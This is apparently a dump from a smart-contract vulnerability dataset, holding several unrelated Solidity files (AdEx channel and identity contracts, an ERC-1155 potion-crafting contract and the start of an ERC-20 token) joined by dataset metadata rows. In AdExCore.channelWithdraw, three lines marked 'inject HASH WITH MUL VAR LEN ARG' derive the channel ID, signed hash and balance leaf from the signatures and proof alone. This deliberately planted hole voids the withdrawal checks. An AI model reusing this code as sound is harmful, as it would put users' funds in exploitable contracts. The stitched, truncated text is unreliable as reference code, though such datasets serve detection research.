function transferFrom(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function balanceOf(address spender) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
}
library SafeERC20 {
function checkSuccess()
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
// check number of bytes returned from last function call
switch returndatasize()
// no bytes returned: assume success
case 0x0 {
returnValue := 1
}
// 32 bytes returned: check if non-zero
case 0x20 {
// copy 32 bytes into scratch space
returndatacopy(0x0, 0x0, 0x20)
// load those bytes into returnValue
returnValue := mload(0x0)
}
// not sure what was returned: don't mark as success
default { }
}
return returnValue != 0;
}
function transfer(address token, address to, uint256 amount) internal {
GeneralERC20(token).transfer(to, amount);
require(checkSuccess());
}
function transferFrom(address token, address from, address to, uint256 amount) internal {
GeneralERC20(token).transferFrom(from, to, amount);
require(checkSuccess());
}
function approve(address token, address spender, uint256 amount) internal {
GeneralERC20(token).approve(spender, amount);
require(checkSuccess());
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min256(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
library SignatureValidator {
enum SignatureMode {
NO_SIG,
EIP712,
GETH,
TREZOR,
ADEX
}
function recoverAddr(bytes32 hash, bytes32[3] memory signature) internal pure returns (address) {
SignatureMode mode = SignatureMode(uint8(signature[0][0]));
if (mode == SignatureMode.NO_SIG) {
return address(0x0);
}
uint8 v = uint8(signature[0][1]);
if (mode == SignatureMode.GETH) {
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
} else if (mode == SignatureMode.TREZOR) {
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n\x20", hash));
} else if (mode == SignatureMode.ADEX) {
hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n108By signing this message, you acknowledge signing an AdEx bid with the hash:\n", hash));
}
return ecrecover(hash, v, signature[1], signature[2]);
}
/// @dev Validates that a hash was signed by a specified signer.
/// @param hash Hash which was signed.
/// @param signer Address of the signer.
/// @param signature ECDSA signature along with the mode [{mode}{v}, {r}, {s}]
/// @return Returns whether signature is from a specified user.
function isValidSignature(bytes32 hash, address signer, bytes32[3] memory signature) internal pure returns (bool) {
return recoverAddr(hash, signature) == signer;
}
}
library ChannelLibrary {
uint constant MAX_VALIDITY = 365 days;
// Both numbers are inclusive
uint constant MIN_VALIDATOR_COUNT = 2;
uint constant MAX_VALIDATOR_COUNT = 25;
enum State {
Unknown,
Active,
Expired
}
struct Channel {
address creator;
address tokenAddr;
uint tokenAmount;
uint validUntil;
address[] validators;
// finally, arbitrary bytes32 that allows to... @TODO document that this acts as a nonce
bytes32 spec;
}
function hash(Channel memory channel)
internal
view
returns (bytes32)
{
// In this version of solidity, we can no longer keccak256() directly
return keccak256(abi.encode(address(this),
channel.creator,
channel.tokenAddr,
channel.tokenAmount,
channel.validUntil,
channel.validators,
channel.spec));
}
function isValid(Channel memory channel, uint currentTime)
internal
pure
returns (bool)
{
// NOTE: validators[] can be sybil'd by passing the same addr a few times
// this does not matter since you can sybil validators[] anyway, and that is mitigated off-chain
if (channel.validators.length < MIN_VALIDATOR_COUNT) {
return false;
}
if (channel.validators.length > MAX_VALIDATOR_COUNT) {
return false;
}
if (channel.validUntil < currentTime) {
return false;
}
if (channel.validUntil > (currentTime + MAX_VALIDITY)) {
return false;
}
return true;
}
function isSignedBySupermajority(Channel memory channel, bytes32 toSign, bytes32[3][] memory signatures)
internal
pure
returns (bool)
{
// NOTE: each element of signatures[] must signed by the elem with the same index in validators[]
// In case someone didn't sign, pass SignatureMode.NO_SIG
if (signatures.length != channel.validators.length) {
return false;
}
uint signs = 0;
uint sigLen = signatures.length;
for (uint i=0; i<sigLen; i++) {
// NOTE: if a validator has not signed, you can just use SignatureMode.NO_SIG
if (SignatureValidator.isValidSignature(toSign, channel.validators[i], signatures[i])) {
signs++;
} else if (i == 0) {
return false;
}
}
return signs*3 >= channel.validators.length*2;
}
}
library MerkleProof {
function isContained(bytes32 valueHash, bytes32[] memory proof, bytes32 root) internal pure returns (bool) {
bytes32 cursor = valueHash;
uint256 proofLen = proof.length;
for (uint256 i = 0; i < proofLen; i++) {
if (cursor < proof[i]) {
cursor = keccak256(abi.encodePacked(cursor, proof[i]));
} else {
cursor = keccak256(abi.encodePacked(proof[i], cursor));
}
}
return cursor == root;
}
}
// AUDIT: Things we should look for
// 1) every time we check the state, the function should either revert or change the state
// 3) external calls (everything using SafeERC20) should be at the end
// 4) channel can always be 100% drained with Withdraw/ExpiredWithdraw
contract AdExCore {
using SafeMath for uint;
using ChannelLibrary for ChannelLibrary.Channel;
// channelId => channelState
mapping (bytes32 => ChannelLibrary.State) public states;
// withdrawn per channel (channelId => uint)
mapping (bytes32 => uint) public withdrawn;
// withdrawn per channel user (channelId => (account => uint))
mapping (bytes32 => mapping (address => uint)) public withdrawnPerUser;
// Events
event LogChannelOpen(bytes32 indexed channelId);
event LogChannelWithdrawExpired(bytes32 indexed channelId, uint amount);
event LogChannelWithdraw(bytes32 indexed channelId, uint amount);
// All functions are public
function channelOpen(ChannelLibrary.Channel memory channel)
public
{
bytes32 channelId = channel.hash();
require(states[channelId] == ChannelLibrary.State.Unknown, "INVALID_STATE");
require(msg.sender == channel.creator, "INVALID_CREATOR");
require(channel.isValid(now), "INVALID_CHANNEL");
states[channelId] = ChannelLibrary.State.Active;
SafeERC20.transferFrom(channel.tokenAddr, msg.sender, address(this), channel.tokenAmount);
emit LogChannelOpen(channelId);
}
function channelWithdrawExpired(ChannelLibrary.Channel memory channel)
public
{
bytes32 channelId = channel.hash();
require(states[channelId] == ChannelLibrary.State.Active, "INVALID_STATE");
require(now > channel.validUntil, "NOT_EXPIRED");
require(msg.sender == channel.creator, "INVALID_CREATOR");
uint toWithdraw = channel.tokenAmount.sub(withdrawn[channelId]);
states[channelId] = ChannelLibrary.State.Expired;
SafeERC20.transfer(channel.tokenAddr, msg.sender, toWithdraw);
emit LogChannelWithdrawExpired(channelId, toWithdraw);
}
function channelWithdraw(ChannelLibrary.Channel memory channel, bytes32 stateRoot, bytes32[3][] memory signatures, bytes32[] memory proof, uint amountInTree)
public
{
bytes32 channelId = keccak256(abi.encodePacked(signatures, proof)); //inject HASH WITH MUL VAR LEN ARG
require(states[channelId] == ChannelLibrary.State.Active, "INVALID_STATE");
require(now <= channel.validUntil, "EXPIRED");
bytes32 hashToSign = keccak256(abi.encodePacked(signatures, proof)); //inject HASH WITH MUL VAR LEN ARG
require(channel.isSignedBySupermajority(hashToSign, signatures), "NOT_SIGNED_BY_VALIDATORS");
bytes32 balanceLeaf = keccak256(abi.encodePacked(signatures, proof)); //inject HASH WITH MUL VAR LEN ARG
require(MerkleProof.isContained(balanceLeaf, proof, stateRoot), "BALANCELEAF_NOT_FOUND");
uint toWithdraw = amountInTree.sub(withdrawnPerUser[channelId][msg.sender]);
withdrawnPerUser[channelId][msg.sender] = amountInTree;
withdrawn[channelId] = withdrawn[channelId].add(toWithdraw);
require(withdrawn[channelId] <= channel.tokenAmount, "WITHDRAWING_MORE_THAN_CHANNEL");
SafeERC20.transfer(channel.tokenAddr, msg.sender, toWithdraw);
emit LogChannelWithdraw(channelId, toWithdraw);
}
}
contract Identity {
using SafeMath for uint;
// Storage
// WARNING: be careful when modifying this
// privileges and routineAuthorizations must always be 0th and 1th thing in storage,
mapping (address => uint8) public privileges;
// Routine authorizations
mapping (bytes32 => bool) public routineAuthorizations;
// The next allowed nonce
uint public nonce = 0;
// Routine operations are authorized at once for a period, fee is paid once
mapping (bytes32 => uint256) public routinePaidFees;
// Constants
bytes4 private constant CHANNEL_WITHDRAW_SELECTOR = bytes4(keccak256('channelWithdraw((address,address,uint256,uint256,address[],bytes32),bytes32,bytes32[3][],bytes32[],uint256)'));
bytes4 private constant CHANNEL_WITHDRAW_EXPIRED_SELECTOR = bytes4(keccak256('channelWithdrawExpired((address,address,uint256,uint256,address[],bytes32))'));
enum PrivilegeLevel {
None,
Routines,
Transactions
}
enum RoutineOp {
ChannelWithdraw,
ChannelWithdrawExpired
}
// Events
event LogPrivilegeChanged(address indexed addr, uint8 privLevel);
event LogRoutineAuth(bytes32 hash, bool authorized);
// Transaction structure
// Those can be executed by keys with >= PrivilegeLevel.Transactions
struct Transaction {
// replay protection
address identityContract;
uint nonce;
// tx fee, in tokens
address feeTokenAddr;
uint feeAmount;
// all the regular txn data
address to;
uint value;
bytes data;
}
// those routines are safe: e.g. sweeping channels (withdrawing off-chain balances to the identity)
struct RoutineAuthorization {
address relayer;
address outpace;
uint validUntil;
address feeTokenAddr;
uint weeklyFeeAmount;
}
struct RoutineOperation {
RoutineOp mode;
bytes data;
}
constructor(address[] memory addrs, uint8[] memory privLevels)
public
{
uint len = privLevels.length;
for (uint i=0; i<len; i++) {
privileges[addrs[i]] = privLevels[i];
emit LogPrivilegeChanged(addrs[i], privLevels[i]);
}
}
function setAddrPrivilege(address addr, uint8 privLevel)
external
{
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
privileges[addr] = privLevel;
emit LogPrivilegeChanged(addr, privLevel);
}
function setRoutineAuth(bytes32 hash, bool authorized)
external
{
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
routineAuthorizations[hash] = authorized;
emit LogRoutineAuth(hash, authorized);
}
function channelOpen(address coreAddr, ChannelLibrary.Channel memory channel)
public
{
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
if (GeneralERC20(channel.tokenAddr).allowance(address(this), coreAddr) > 0) {
SafeERC20.approve(channel.tokenAddr, coreAddr, 0);
}
SafeERC20.approve(channel.tokenAddr, coreAddr, channel.tokenAmount);
AdExCore(coreAddr).channelOpen(channel);
}
function execute(Transaction[] memory txns, bytes32[3][] memory signatures)
public
{
require(txns.length > 0, 'MUST_PASS_TX');
address feeTokenAddr = txns[0].feeTokenAddr;
uint feeAmount = 0;
uint len = txns.length;
for (uint i=0; i<len; i++) {
Transaction memory txn = txns[i];
require(txn.identityContract == address(this), 'TRANSACTION_NOT_FOR_CONTRACT');
require(txn.feeTokenAddr == feeTokenAddr, 'EXECUTE_NEEDS_SINGLE_TOKEN');
require(txn.nonce == nonce, 'WRONG_NONCE');
// If we use the naive abi.encode(txn) and have a field of type `bytes`,
// there is a discrepancy between ethereumjs-abi and solidity
// if we enter every field individually, in order, there is no discrepancy
//bytes32 hash = keccak256(abi.encode(txn));
bytes32 hash = keccak256(abi.encode(txn.identityContract, txn.nonce, txn.feeTokenAddr, txn.feeAmount, txn.to, txn.value, txn.data));
address signer = SignatureValidator.recoverAddr(hash, signatures[i]);
require(privileges[signer] >= uint8(PrivilegeLevel.Transactions), 'INSUFFICIENT_PRIVILEGE_TRANSACTION');
nonce = nonce.add(1);
feeAmount = feeAmount.add(txn.feeAmount);
executeCall(txn.to, txn.value, txn.data);
// The actual anti-bricking mechanism - do not allow a signer to drop his own priviledges
require(privileges[signer] >= uint8(PrivilegeLevel.Transactions), 'PRIVILEGE_NOT_DOWNGRADED');
}
if (feeAmount > 0) {
SafeERC20.transfer(feeTokenAddr, msg.sender, feeAmount);
}
}
function executeBySender(Transaction[] memory txns)
public
{
require(privileges[msg.sender] >= uint8(PrivilegeLevel.Transactions), 'INSUFFICIENT_PRIVILEGE_SENDER');
uint len = txns.length;
for (uint i=0; i<len; i++) {
Transaction memory txn = txns[i];
require(txn.nonce == nonce, 'WRONG_NONCE');
nonce = nonce.add(1);
executeCall(txn.to, txn.value, txn.data);
}
// The actual anti-bricking mechanism - do not allow the sender to drop his own priviledges
require(privileges[msg.sender] >= uint8(PrivilegeLevel.Transactions), 'PRIVILEGE_NOT_DOWNGRADED');
}
function executeRoutines(RoutineAuthorization memory auth, RoutineOperation[] memory operations)
public
{
require(auth.validUntil >= now, 'AUTHORIZATION_EXPIRED');
bytes32 hash = keccak256(abi.encode(auth));
require(routineAuthorizations[hash], 'NO_AUTHORIZATION');
uint len = operations.length;
for (uint i=0; i<len; i++) {
RoutineOperation memory op = operations[i];
if (op.mode == RoutineOp.ChannelWithdraw) {
// Channel: Withdraw
executeCall(auth.outpace, 0, abi.encodePacked(CHANNEL_WITHDRAW_SELECTOR, op.data));
} else if (op.mode == RoutineOp.ChannelWithdrawExpired) {
// Channel: Withdraw Expired
executeCall(auth.outpace, 0, abi.encodePacked(CHANNEL_WITHDRAW_EXPIRED_SELECTOR, op.data));
} else {
revert('INVALID_MODE');
}
}
if (auth.weeklyFeeAmount > 0 && (now - routinePaidFees[hash]) >= 7 days) {
routinePaidFees[hash] = now;
SafeERC20.transfer(auth.feeTokenAddr, auth.relayer, auth.weeklyFeeAmount);
}
}
// we shouldn't use address.call(), cause: https://github.com/ethereum/solidity/issues/2884
// copied from https://github.com/uport-project/uport-identity/blob/develop/contracts/Proxy.sol
// there's also
// https://github.com/gnosis/MultiSigWallet/commit/e1b25e8632ca28e9e9e09c81bd20bf33fdb405ce
// https://github.com/austintgriffith/bouncer-proxy/blob/master/BouncerProxy/BouncerProxy.sol
function executeCall(address to, uint256 value, bytes memory data)
internal
{
assembly {
let result := call(gas(), to, value, add(data, 0x20), mload(data), 0, 0)
switch result case 0 {
let size := returndatasize()
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
default {}
}
}
}
contract ADXFlashLoans {
// Note: we need to get funds back via transferFrom, rather than performing a balance check,
// since some ERC20s have built-in token lockup; the new ADXToken is not one of them,
// but it's the better way to approach things given that this contract can be used for any token
// NOTE: we cannot use executeBySender since this contract will be the sender
function flash(address token, uint amount, Identity receiver, Identity.Transaction[] memory txns, bytes32[3][] memory signatures) public {
SafeERC20.transfer(token, address(receiver), amount);
receiver.execute(txns, signatures);
SafeERC20.transferFrom(token, address(receiver), address(this), amount);
}
}
| 279,958 | 254 |
83149b4da3251e37fc924d00705092d4ff5c2a5f7dd3e0c008c20a54baa152bd
| 42,317 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/b6/b662501e2DcCe23402FF430BAFFB015efB6b278b_SmulipsPotion.sol
| 4,635 | 19,469 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC1155Receiver is IERC165 {
function onERC1155Received(address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data) external returns (bytes4);
function onERC1155BatchReceived(address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data) external returns (bytes4);
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value);
event TransferBatch(address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values);
event ApprovalForAll(address indexed account,
address indexed operator,
bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id)
external
view
returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator)
external
view
returns (bool);
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data) external;
function safeBatchTransferFrom(address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data) external;
}
interface IERC1155MetadataURI is IERC1155 {
function uri(uint256 id) external view returns (string memory);
}
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
string private _uri;
constructor(string memory uri_) {
_setURI(uri_);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
function balanceOf(address account, uint256 id)
public
view
virtual
override
returns (uint256)
{
require(account != address(0),
"ERC1155: address zero is not a valid owner");
return _balances[id][account];
}
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length,
"ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address account, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[account][operator];
}
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not token owner nor approved");
_safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) public virtual override {
require(from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not token owner nor approved");
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
function _safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount,
"ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
function _safeBatchTransferFrom(address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(ids.length == amounts.length,
"ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount,
"ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_afterTokenTransfer(operator, from, to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator,
from,
to,
ids,
amounts,
data);
}
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
function _mint(address to,
uint256 id,
uint256 amount,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeTransferAcceptanceCheck(operator,
address(0),
to,
id,
amount,
data);
}
function _mintBatch(address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length,
"ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_afterTokenTransfer(operator, address(0), to, ids, amounts, data);
_doSafeBatchTransferAcceptanceCheck(operator,
address(0),
to,
ids,
amounts,
data);
}
function _burn(address from,
uint256 id,
uint256 amount) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
uint256[] memory ids = _asSingletonArray(id);
uint256[] memory amounts = _asSingletonArray(amount);
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
function _burnBatch(address from,
uint256[] memory ids,
uint256[] memory amounts) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length,
"ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount,
"ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
_afterTokenTransfer(operator, from, address(0), ids, amounts, "");
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _beforeTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _afterTokenTransfer(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) internal virtual {}
function _doSafeTransferAcceptanceCheck(address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data) private {
if (to.isContract()) {
try
IERC1155Receiver(to).onERC1155Received(operator,
from,
id,
amount,
data)
returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data) private {
if (to.isContract()) {
try
IERC1155Receiver(to).onERC1155BatchReceived(operator,
from,
ids,
amounts,
data)
returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element)
private
pure
returns (uint256[] memory)
{
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
contract SmulipsPotion is ERC1155, Ownable {
constructor() ERC1155("ipfs://bafkreibnyomzbvhsittbroiwjwe3tnzhfizvg3fnwpbslx542f24tvk65y") {
_mint(msg.sender, 1, 1, "");
}
string public constant name = "Smulip Potion";
string public constant symbol = "SMULP";
address private battleflyNectar;
address private smulipSteam;
address private constant BURN_ADDRESS = address(0xdead);
function setIngredientsContracts(address _battleflyNectar, address _smulipSteam) external onlyOwner {
battleflyNectar = _battleflyNectar;
smulipSteam = _smulipSteam;
}
function craft() external {
require(IERC1155(battleflyNectar).balanceOf(msg.sender, 1) > 0 && IERC1155(smulipSteam).balanceOf(msg.sender, 1) > 0, "INSUFFICIENT_BALANCE!");
IERC1155(battleflyNectar).safeTransferFrom(msg.sender, BURN_ADDRESS, 1, 1, "");
IERC1155(smulipSteam).safeTransferFrom(msg.sender, BURN_ADDRESS, 1, 1, "");
_mint(msg.sender, 1, 1, "");
}
}
| 41,852 | 255 |
41af3fb299aa7b034dcb712938fceb015f78bab0c4bba900954e3026d78ca41c
| 11,631 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9ad748cc73fa6bf6f48ec4af64cfe1181f6127a6.sol
| 2,597 | 10,762 |
pragma solidity ^0.4.18;
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function owned() public {
owner = msg.sender;
}
function changeOwner(address _newOwner) public onlyOwner{
owner = _newOwner;
}
}
// Safe maths, borrowed from OpenZeppelin
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract ERC20Token {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant public returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
